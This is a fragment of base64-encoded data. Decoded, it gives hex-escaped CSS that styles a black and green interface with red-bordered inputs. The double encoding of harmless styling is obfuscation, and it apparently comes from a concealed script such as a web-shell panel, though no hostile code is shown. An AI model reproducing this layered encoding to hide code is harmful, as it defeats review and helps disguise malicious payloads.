g3OFx4MjBceDczb1x4NmNpZFx4MjBceDIzXHgzMFx4MzBceDQ2Rlx4MzAwXHgzYiBceDYyXHg2MWNceDZiZ1x4NzJvXHg3NVx4NmVkLWNceDZmXHg2Y1x4NmZceDcyOlx4MjMwMDFmXHgzMDA7XHgyMHBceDYxZGRpblx4Njc6IDJweDsgZm9ceDZldC1ceDczXHg2OVx4N2FlOiAxXHgzMnBceDc4OyBceDYzXHg2Zlx4NmNceDZmXHg3MjogXHgyMzNceDMzRlx4NDYwXHgzMDt9XG4gICAgXHgyMCBceDIwXHgyMFx4MjBceDIwIFx4MjB0ZDpoXHg2Zlx4NzZlXHg3MntiYWNrXHg2N1x4NzJceDZmdVx4NmVceDY0LWNceDZmXHg2Y29ceDcyOlx4MjBceDYybGFceDYzXHg2Ylx4M2IgXHg2M29ceDZjb3I6ICNceDMzM1x4NDZceDQ2XHgzMFx4MzBceDNifVxuXHgyMCBceDIwXHgyMCAgXHgyMFx4MjBceDIwICAgXHg2OW5ceDcwXHg3NXR7YmFceDYzXHg2Ylx4Njdyb1x4NzVuXHg2NC1ceDYzb1x4NmNvXHg3MjogYlx4NmNhY1x4NmI7XHgyMFx4NjNceDZmbFx4NmZyOiBceDIzXHgzMFx4MzBGXHg0Nlx4MzAwO1x4MjBceDYyXHg2ZnJceDY0XHg2NXI6XHgyMDFwXHg3OCBceDczXHg2ZmxceDY5XHg2NFx4MjBceDcyZWQ7fVxuICAgXHgyMFx4MjAgICAgICAgXHg2OW5wXHg3NXQ6XHg2OFx4NmZceDc2XHg2NVx4NzJ7YmFjXHg2YmdceDcyXHg2Zlx4NzVceDZlZC1ceDYzXHg2Zlx4NmNceDZmXHg3MjogIzBceDMwXHgzNjYwXHgzMDt9XG4gIFx4MjBceDIwXHgyMFx4MjBceDIwIFx4MjBceDIwIFx